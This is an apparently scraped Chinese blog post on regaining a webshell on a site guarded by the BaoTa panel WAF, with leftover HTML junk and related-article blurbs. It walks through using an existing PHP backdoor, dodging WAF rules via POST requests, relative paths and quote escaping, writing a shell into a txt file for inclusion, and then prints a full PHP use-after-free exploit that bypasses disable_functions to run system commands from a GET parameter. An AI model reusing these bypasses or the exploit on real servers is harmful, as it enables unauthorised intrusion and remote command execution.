<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    繞過寶塔Getshell

    VSole2021-10-18 16:40:25

    前言

    朋友丟過來一個站,說站點的webshell掉了,并且上了寶塔,但是后門還在,由于寶塔的原因遲遲無法再次getshell。正好不在乙方工作多年,好久沒遇到WAF對抗了,就要過來看看。

    Bypass寶塔

    disable_function攔截

    首先當看到朋友給的后門數據包時有點懵,以為是什么漏洞,先放到burp里看看:

    這下明白他一開始給的代碼的意思了,是一個后門,接收content的值放到php代碼里,相當于一個可以執行任意php代碼的后門,他給的數據包就是接收b和d的值去執行。但是根據上面的報錯,也能看出出現了兩個<?php,我先刪除掉一個試試,然后嘗試構造d執行個whomai(base64編碼)試試:

    看響應包應該是disable_function搞的鬼。

     

    POST繞過GET攔截

    那我嘗試phpinfo試試,發現是可以的:

    現在命令無法執行,想要繞過disable_function,現在這樣又不好操作,想著是用webshell管理工具連上去方便操作(寫文件、看文件等操作),但是直接用webshell管理工具連接也會被寶塔攔截:

    那我就嘗試寫一個新的webshell進去。首先content值可以寫任意php代碼,首先嘗試phpinfo,發現被攔截:

    但是我改成POST就可以繞過:

     

    相對路徑Bypass

    通過報錯得到了網站的絕對路徑,嘗試使用file_put_contents寫文件發現被攔截,通過相對路徑就不會被攔截:

    想著是file_put_contents寫一個馬,但是嘗試發現無法寫入到php文件,txt卻可以。一開始懷疑是目錄問題,嘗試寫到upload和image等靜態文件目錄,發現依然不行,最終php依然沒寫成功,但是思路轉換下,既然有可以執行php代碼的口子,又可以往txt里寫文件,那我直接include,做文件包含不就行了?

     

    file-put-contents繞過

    在寫馬的過程中,file_put_contents第二個參數不能用<?php,有就會報錯:

    也不能有雙引號,會被轉義,也就是file_put_contents的值只能用單引號引起來:

    但是值只能用單引號引起來的話,如果馬也需要用到單引號,那么file_put_contents的第二個參數就會變成'$_POST['a']',引號里面又有個引號,依然會報錯。

    因此這里首先使用{php}代替<?php,然后使用\'來注釋'單引號來讓單引號“逃”出來。最終成功的往txt寫入了webshell,上面提到,普通的webshell會被攔截:

    那我直接數據包加密不就行了?見滲透中的后門利用

    最終成功getshell,webshell連接配置如下:

     

    disable-function bypass

    通過種種突破終于拿到了webshell,也更加方便的進行shell操作,但是上面提到,因為有disable_function的原因,導致一些函數無法調用從而導致命令無法執行:

    通過phpinfo也能證明上面的猜想:

    這里我直接使用gc bypass disable_function,這里給出示例代碼:

    <?php$command = $_GET['cmd'];pwn($command);
    function pwn($cmd) {    global $abc, $helper;
        function str2ptr(&$str, $p = 0, $s = 8) {        $address = 0;        for($j = $s-1; $j >= 0; $j--) {            $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }
        function ptr2str($ptr, $m = 8) {        $out = "";        for ($i=0; $i < $m; $i++) {            $out .= chr($ptr & 0xff);            $ptr >>= 8;        }        return $out;    }
        function write(&$str, $p, $v, $n = 8) {        $i = 0;        for($i = 0; $i < $n; $i++) {            $str[$p + $i] = chr($v & 0xff);            $v >>= 8;        }    }
        function leak($addr, $p = 0, $s = 8) {        global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }        return $leak;    }
        function parse_elf($base) {        $e_type = leak($base, 0x10, 2);
            $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);
            for($i = 0; $i < $e_phnum; $i++) {            $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write                # handle pie                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec                $text_size = $p_memsz;            }        }
            if(!$data_addr || !$text_size || !$data_size)            return false;
            return [$data_addr, $text_size, $data_size];    }
        function get_basic_funcs($base, $elf) {        list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {            $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                # 'constant' constant check                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;
                $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                # 'bin2hex' constant check                if($deref != 0x786568326e6962)                    continue;            } else continue;
                return $data_addr + $i * 8;        }    }
        function get_binary_base($binary_leak) {        $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {            $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) { # ELF header                return $addr;            }        }    }
        function get_system($basic_funcs) {        $addr = $basic_funcs;        do {            $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);
                if($f_name == 0x6d6574737973) { # system                return leak($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }
        class ryat {        var $ryat;        var $chtg;
            function __destruct(){            $this->chtg = $this->ryat;            $this->ryat = 1;        }    }
        class Helper {        public $a, $b, $c, $d;    }
        if(stristr(PHP_OS, 'WIN')) {        die('This PoC is for *nix systems only.');    }
        $n_alloc = 10; # increase this value if you get segfaults
        $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_repeat('A', 79);
        $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';    $out = unserialize($poc);    gc_collect_cycles();
        $v = [];    $v[0] = ptr2str(0, 79);    unset($v);    $abc = $out[2][0];
        $helper = new Helper;    $helper->b = function ($x) { };
        if(strlen($abc) == 79 || strlen($abc) == 0) {        die("UAF failed");    }
        # leaks    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;
        # fake value    write($abc, 0x60, 2);    write($abc, 0x70, 6);
        # fake reference    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);
        $closure_obj = str2ptr($abc, 0x20);
        $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) {        die("Couldn't determine binary base address");    }
        if(!($elf = parse_elf($base))) {        die("Couldn't parse ELF header");    }
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {        die("Couldn't get basic_functions address");    }
        if(!($zif_system = get_system($basic_funcs))) {        die("Couldn't get zif_system address");    }
        # fake closure object    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) {        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    }
        # pwn    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4); # internal func type    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
        ($helper->b)($cmd);
        exit();}
    

    最終也成功的執行了命令:

    總結

    本文介紹了在有代碼執行漏洞(后門)的情況下,通過多個技術手段繞過寶塔達到了寫入webshell和執行命令的目的。現在網站大多數都接入了WAF,如何繞過WAF是個需要長期思考的問題。

    phpwebshell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    將 payload 放在 -pf 所指定的路徑二、hide webshellpython hide_webshell.py hide_webshell.py normal.php -pf payload.txt. uid=502 gid=20 groups=20,12, ...此處省略
    WebShell基礎詳解
    2022-01-07 06:47:08
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    Webshell 檢測綜述
    2022-12-15 09:45:32
    通過Webshell,攻擊者可以在目標服務器上執行一些命令從而完成信息嗅探、數據竊取或篡改等非法操作,對Web服務器造成巨大危害。Webshell惡意軟件是一種長期存在的普遍威脅,能夠繞過很多安全工具的檢測。許多研究人員在Webshell檢測領域進行了深入研究,并提出了一些卓有成效的方法。本文以PHP Webshell為例。
    目前國內安全人員常用的有:中國菜刀、中國蟻劍、冰蝎、哥斯拉、Metasploit、SharPyShell等,也有一些內部團隊開發的類似工具,但是并沒有對外公開。已被各大安全廠商提取其特征。任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔!這個工具超越于普通的webshell管理是因為其還擁有安全掃描、漏洞利用測試等功能,可以幫助滲透測試人員進行高效的測試工作。
    之前已經就CVE-2021-36394 Moodle Shibboleth認證模塊反序列化漏洞原理進行了詳細分析,并且給出了一條可實現修改管理員密碼的利用鏈: 最近發現有小伙伴放出了RCE的利用鏈,瞅了下確實可行,還是自己功力不夠啊,這里分享下對這條利用鏈的分析過程。
    WSH是一款功能強大的Web Shell生成器和命令行接口工具。WSH的客戶端支持命令歷史記錄和日志記錄功能,并且可以跟以前部署的標準Webshell交互。生成器使用了PHP、ASP和JSP來創建Webshell。它們使用隨機變量生成,因此每一個都擁有單獨的哈希。它們可以使用白名單或密碼進行配置,并允許通過自定義Header和參數進行發送。廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
    一、前言 二、Windows入侵排查 檢查系統賬號安全 檢查異常端口、進程 檢查啟動項、計劃任務、服務 檢查系統相關信息 自動化查殺 日志分析 三、Linux入侵排查 賬號安全 歷史命令 檢查異常端口 檢查異常進程 檢查開機啟動項 檢查定時任務 檢查服務 檢查異常文件 檢查系統日志
    到達客戶現場后第一時間告知負責網絡相關的人員請勿對被篡改文件進行刪除或修改,這樣做的原因是方便后續對入侵途徑進行溯源分析。發生安全事件的服務器為Windows還是Linux或者其他的操作系統,確認好操作系統類型方便取證工作。是否為用戶誤操作所導致觸發告警。Windows系統下:使用“MD5校驗器”打開原有文件與疑似篡改文件,獲得MD5值后進行比對,如果兩文件MD5不一樣證明該文件被篡改。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类